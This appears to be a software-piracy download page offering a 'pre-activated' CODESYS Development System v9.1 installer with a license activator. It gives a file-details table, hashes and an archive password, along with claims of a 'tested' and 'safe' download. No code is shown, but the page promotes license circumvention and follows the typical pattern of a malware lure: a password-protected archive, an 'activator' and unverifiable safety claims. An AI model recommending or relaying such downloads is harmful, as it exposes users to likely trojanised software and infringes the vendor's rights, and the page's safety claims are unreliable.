Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | CODESYS_Development_System_v9.1_x64_setup.zip |
| Version | v9.1.809 build 50012 |
| File Size | 4.05 GB (4148 MB) |
| MD5 Hash | b86aecf0f13fa7b55bac266394bf0afb |
| SHA-256 | 0c7a33023dab0ee082bd2a4172e0867603e7b90aa2a764a1fcd473706285457c |
| Release Date | 2026-06-07 |
| Platform | Windows 10 (x64) / Server 2019 |
| Archive Password | soft2026 |
| License Type | Pre-Activated |
Accessing advanced functionality through CODESYS Development System full library setup requires precise adherence to the installation guidelines. Follow our verified community manual to avoid library conflicts and ensure seamless execution on Windows 10 and Windows 11.